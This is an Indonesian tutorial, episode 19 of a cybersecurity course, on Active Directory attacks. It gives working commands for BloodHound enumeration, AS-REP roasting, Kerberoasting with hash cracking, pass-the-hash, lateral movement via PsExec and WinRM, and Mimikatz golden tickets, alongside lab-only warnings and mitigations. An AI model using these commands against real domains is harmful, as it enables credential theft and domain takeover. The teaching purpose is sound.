Belajar Cyber Security - Active Directory Attacks

#Pendahuluan

Setelah di episode 18 kita mencuri kredensial dari satu mesin Windows, sekarang saatnya memahami medan tempur sebenarnya: Active Directory (AD). AD adalah layanan direktori yang menjadi pusat identitas di hampir semua perusahaan — satu kredensial domain membuka semua mesin di domain itu.

Mengapa episode ini puncak fase network/system? Karena AD attack adalah endgame pentest internal: penyerang yang menguasai AD menguasai seluruh organisasi. Di sinilah semua konsep sebelumnya bertemu — Kerberos, NTLM, SMB dari episode 4, kredensial dari episode 18 — dan berubah menjadi serangan terstruktur yang mengikuti jalur yang dipetakan BloodHound.

#Fondasi: Kerberos, LDAP, NTLM, SMB

#Kerberos

Protokol autentikasi default AD. Alurnya melibatkan tiga pihak: client, KDC (Key Distribution Center), dan target service:

100%

TGT (Ticket Granting Ticket) dibuktikan dari password user; Service Ticket diberikan KDC untuk mengakses service. Kerentanan lahir saat format/perilaku ticket ini disalahgunakan — dasar dari Kerberoasting dan golden/silver ticket.

#LDAP dan SMB

LDAP adalah protokol query direktori AD — cara membaca user, group, GPO. SMB (port 445) membawa file sharing dan service admin (PsExec memakainya). Keduanya adalah jalan enumeration dan lateral movement yang paling umum.

#Enumerasi: BloodHound dan SharpHound

BloodHound memetakan AD sebagai graf: user, group, komputer, session, dan jalur privilege antar objek. SharpHound adalah collector-nya — dikompilasi untuk dijalankan di dalam domain:

Koleksi data dengan SharpHound

.\SharpHound.exe -c All

Jalankan BloodHound dan upload hasil

neo4j start
bloodhound
# upload file .zip hasil SharpHound

BloodHound menjawab pertanyaan kunci dengan query: siapa yang punya akses admin ke mesin apa? Apa jalur dari user kita ke Domain Admin? Inilah peta serangan AD yang sebenarnya.

#Serangan Kredensial Kerberos

#AS-REP Roasting

Akun tanpa preauthentication Kerberos (Do not require Kerberos pre-authentication) membiarkan siapa pun meminta TGT atas namanya — lalu meng-crack hash-nya offline:

AS-REP Roasting dengan impacket

GetNPUsers.py domain/ -usersfile users.txt -dc-ip DC_IP

Crack hash AS-REP

hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

#Kerberoasting

Teknik paling populer: akun service dengan SPN (Service Principal Name) yang di-enumerate, Service Ticket diminta, lalu di-crack offline:

Kerberoasting dengan Rubeus

.\Rubeus.exe kerberoast

Atau dengan impacket

GetUserSPNs.py domain/user:pass -dc-ip DC_IP -request

Crack hash Kerberoast

hashcat -m 13100 hash.txt rockyou.txt

Jika service account memakai password lemah, hasilnya kredensial service — dan service sering berjalan dengan privilege tinggi.

Tip

Kerberoasting tidak memerlukan privilege khusus — siapa pun user domain bisa memintanya. Bedakan dari AS-REP Roasting yang butuh akun tanpa preauth. Keduanya menghasilkan hash yang di-crack offline, jadi kecepatan cracking (GPU/hashcat) sangat menentukan. Di lab, pastikan target yang di-roast memang lab milik kalian.

#Pass-the-Hash dan Lateral Movement

Dari episode 18, hash NTLM cukup untuk login. Perluas ke seluruh jaringan dengan crackmapexec:

Pindai host yang menerima hash

crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH

Host dengan tanda (Pwn3d!) menerima login admin — jalan untuk lateral movement.

#Alat Lateral Movement

PsExec: eksekusi remote memakai SMB — cepat dan ikonik.
WinRM: eksekusi via port 5985/5986 (PowerShell remoting).
RDP: sesi interaktif — sering di-log dan mudah dideteksi.

Lateral via PsExec (impacket)

psexec.py domain/user@target.com -hashes :NTLM_HASH

WinRM dengan evil-winrm

evil-winrm -i target.com -u user -H NTLM_HASH

#Golden dan Silver Ticket

Ketika kredensial domain krbtgt dikuasai (misalnya dari NTDS.dit di episode 18), penyerang bisa forge TGT — golden ticket — yang valid untuk semua user, semua service, tanpa batas waktu. Silver ticket memalsukan Service Ticket untuk satu service.

Mimikatz golden ticket

kerberos::golden /user:Administrator /domain:corp.local \
  /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt

Begitu golden ticket dikuasai, kendali domain tidak terbatas — sampai krbtgt di-reset dua kali.

Warning

Golden/silver ticket adalah dampak terburuk kompromi AD dan sangat sulit dibersihkan (butuh reset krbtgt dua kali). Jangan pernah mengeksekusi teknik ini di lingkungan nyata tanpa izin eksplisit. Di lab (misalnya AD yang di-build sendiri atau THM AD rooms), latih untuk memahami dampaknya — dan pastikan paham bagaimana blue team mendeteksinya lewat event log 4624/4769.

#Mitigasi Ringkas

Serangan	Mitigasi
AS-REP/Kerberoasting	Password panjang & acak untuk service account; managed service accounts (gMSA)
Pass-the-hash	Local Account Password Filter; monitoring logon events
Golden/Silver ticket	Rotasi krbtgt (2x) bila terindikasi; batasi akses DC; Privileged Access Management
BloodHound enumeration	Batasi akses user ke LDAP query berlebihan; monitoring

#Penutup

Pada episode 19 ini, kalian telah menguasai serangan Active Directory secara end-to-end.

Inti yang harus dibawa pulang:

Kerberos/LDAP/NTLM/SMB adalah fondasi: pahami alur ticket sebelum menyerang.
BloodHound/SharpHound memetakan jalur privilege AD.
AS-REP Roasting & Kerberoasting meng-crack kredensial service offline.
Pass-the-hash + PsExec/WinRM/RDP untuk lateral movement.
Golden/silver ticket adalah endgame — dampaknya menguasai domain penuh.

Di episode 20 selanjutnya kita membahas wireless security — fondasi 802.11, beacon dan frames, WPA/WPA2/WPA3 serta enterprise 802.1X, lalu serangan dengan Aircrack-ng: deauth, evil twin, PMKID capture, dan WPS PIN attack. Sampai jumpa di episode 20!